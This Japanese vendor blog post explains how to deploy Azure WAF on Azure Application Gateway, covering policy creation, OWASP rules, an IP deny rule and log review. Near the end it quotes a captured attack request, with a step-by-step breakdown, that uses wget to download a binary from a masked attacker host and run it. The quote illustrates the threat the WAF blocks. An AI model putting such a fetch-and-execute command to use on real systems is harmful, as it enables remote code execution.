LAC WATCH

セキュリティとITの最新情報

RSS

株式会社ラック

メールマガジン

サイバーセキュリティや
ラックに関する情報をお届けします。

サービス・製品 | 

Webアプリケーションを保護する「Azure WAF」の導入

クラウドサービス部の小川です。Microsoft Azure(以下、Azure)製品を取り扱う部門でグループリーダーを担当し、特にクラウドセキュリティの分野に注力しています。クラウドの便利さを実感する一方で、その容易さゆえに危機感も感じ、クラウドセキュリティの向上に日夜取り組んでいます。

昨今、ランサムウェア攻撃がますます巧妙化し、企業や組織に深刻な被害をもたらしている中、WAF(Web Application Firewall)の導入は非常に効果的な防御策の1つと言えます。特に、Azure上でWebアプリケーションを構築したもののセキュリティに不安を感じている場合、Azure WAFは堅牢で頼りになるセキュリティ対策です。

今回の記事では、クラウドセキュリティの重要な要素として、Webアプリケーションを保護する「Azure WAF」についてご紹介します。クラウドのセキュリティを強化し、安心してビジネスを展開したいと考えている方の一助になれば幸いです。

なお、今回はAzure WAFの導入編です。Azure WAFをAzure Application Gatewayへ導入し、簡単な動作確認を行います。Azure WAFの主な特長については以下の記事をご参照ください。

Azure WAFの導入

Azure WAFの設定をします。WAFポリシーを作成し、Azure Application Gatewayへ関連付けを行います。

WAFポリシーの作成

Azure WAFは、WAFポリシーとリソースの関連付けによって有効化されます。そのため、まずはWAFポリシーを作成します。

Azure WAFを導入するリソースの選択

WAFポリシーを作成する画面の、「基本」タブにある「次に対するポリシー」から、Azure Front DoorかAzure Application Gatewayを選択できます。今回は、Azure Application Gatewayを選択して進めていきます。

「WAFポリシーを作成する」画面の「基本」タブで導入するリソースを選択する。今回はAzure Application Gatewayを選択。

マネージドルールの選択

「管理されているルール」タブで、マネージドルールを選択します。Azure Application Gateway用のAzure WAFでは、OWASP CRSか、Microsoft Default Rule Set(DRS)を選択できます。今回はOWASP CRS(OWASP_3.2)を選択します。また、ボット対策ルールのMicrosoft Bot Manager Rule Setを追加することも可能です。

「WAFポリシーを作成する」画面の「管理されているルール」タブで、マネージドルールを選択

カスタムルールの選択

「カスタムルール」タブでカスタムルールを追加できます。今回はAzure WAFの動作確認のために、IPアドレスの拒否ルールを1つ追加しています。

カスタムルールの追加

これらのルールを設定したWAFポリシーを作成します。また、ルールなどの設定は後から変更も可能です。WAF運用後に実際の攻撃に対応したルールの追加や、誤検知のルールに対する調整などができます。

Azure Application Gatewayへの導入

それでは、作成したWAFポリシーをAzure Application Gatewayに関連付けていきます。これは、新しくAzure Application Gatewayを作成する際でも、既存のAzure Application Gatewayに後から追加でも関連付けが可能です。

Azure Application Gateway新規作成時のWAFポリシーの関連付け

Azure Application Gatewayの新規作成時にWAFポリシーを関連付ける場合、Azure Application Gateway作成画面の「基本」タブで設定ができます。レベル欄で「WAF V2」を選択し、WAFポリシー欄に「作成したWAFポリシー」を選択します。

アプリケーション ゲートウェイの作成

既存のAzure Application GatewayへのWAFポリシー関連付け

既存のAzure Application GatewayにWAFポリシーを関連付ける場合、WAFポリシーの「関連付けられたアプリケーション ゲートウェイ」から設定できます。

関連付けられたアプリケーション ゲートウェイ画面

診断設定(Azure WAFのログ)

Azure WAFのログはLog Analytics ワークスペースに出力できます。設定は関連付けたリソース(今回はAzure Application Gateway)の診断設定で行います。カテゴリの「Application Gateway Firewall Log」が、Azure WAFのログです。

診断設定画面

Azure WAFの動作確認

以上でAzure WAFの設定が完了したので、動作確認をします。今回は、カスタムルールに合致したIPアドレスからのアクセスがブロックされることを確認します。なお、構築した環境は以下の通りです。

Azure WAFの動作確認のために構築した環境

カスタムルールに合致したIPアドレスのブロック

まずは、カスタムルールの拒否IPに設定したIP以外(許可IP)の端末から接続します。Azure Application Gateway(Azure WAF)、App Service、SQL Databaseの順で接続が成功し、正しく画面が表示されました。

許可IPの端末から接続した結果

次に、拒否IPの端末から同様のアドレスに対して接続します。今度は画面が表示されず、「403 Forbidden(Microsoft-Azure-Application-Gateway/v2)」のエラーメッセージが返ってきました。想定通りに、Azure WAFが拒否IPからの接続をブロックしたことが確認できます。

拒否IPの端末から接続した結果

Azure WAFログの確認

Azure WAFのログを確認してみます。Azure WAFのログは、診断設定でLog Analytics ワークスペースに出力するように設定しているので、Log Analytics ワークスペースをクエリすることで確認ができます。実際に確認してみると、Azure WAFがカスタムルール(wafcust1)で設定した拒否IPにマッチしたアクセスをブロックしていることが分かりました。

Azure WAFのログを確認すると、カスタムルールにより拒否IPに該当するアクセスをブロックしていることが分かる

以上で、設定したAzure WAFが正しく動作していることが確認できました。

実際の攻撃ログから見える脅威とAzure WAFの有効性

今回の記事執筆にあたり、実際にAzure WAFを構築したところ、多数の攻撃と思われるログが記録されていました。記事の最後に、その攻撃ログから見える脅威と、Azure WAFの有効性についても触れたいと思います。

構築した環境を24時間監視した結果、マネージドルールによって1,300件以上のWAFログが記録され、実際に攻撃が検知・ブロックされていました。

実際の攻撃ログ

一例として、次のようなリクエストがありました。

/shell?cd+/tmp;rm+earm+earm7;nohup+wget+http:/¥/xxx.xxx.xxx.xxx/earm7;chmod+777+earm7;./earm7+jaws

このリクエストの詳細を分析すると、攻撃者が特定のサイトから悪意あるファイルをダウンロードし、リモートコード実行(RCE)を試みていることが分かりました。

  • cd /tmp
  • rm earm earm7
  • nohup wget http:/\/xxx.xxx.xxx.xxx/earm7(xxx.xxx.xxx.xxxからファイルをダウンロード)
  • chmod 777 earm7
  • ./earm7 jaws(ダウンロードしたファイルを実行)

このように、Webアプリケーションをインターネットに公開すると、日々多くの攻撃を受けるリスクが伴います。今回、Azure WAFがしっかりと機能し、脆弱性のないWebアプリケーションを使用していたため、被害を防ぐことができました。しかし、攻撃者は常にWebアプリケーションの弱点を狙っているため、Azure WAFは非常に効果的な防御策となります。

おわりに

Azure WAFはAzure Application GatewayやAzure Front Doorに組み込むことで、Azure上のWebアプリケーションを効果的に保護できます。インターネットにWebアプリケーションを公開する際には、Azure WAFの導入が欠かせません。今回は細かい設定を省略しましたが、Azure WAFの機能を最大限に活用するには、WAFやAzureに関する知識やノウハウが必要です。

ラックは、Azure WAFを含むWAF全般や、AWSやOCIなどのパブリッククラウドに関する豊富な知識とノウハウを持っており、総合的な導入支援や活用支援を行っています。Azure WAFの導入を検討される際は、ぜひラックまでお問い合わせください。

「Azure WAF」に関するお問い合わせ

この記事は役に立ちましたか?

はい いいえ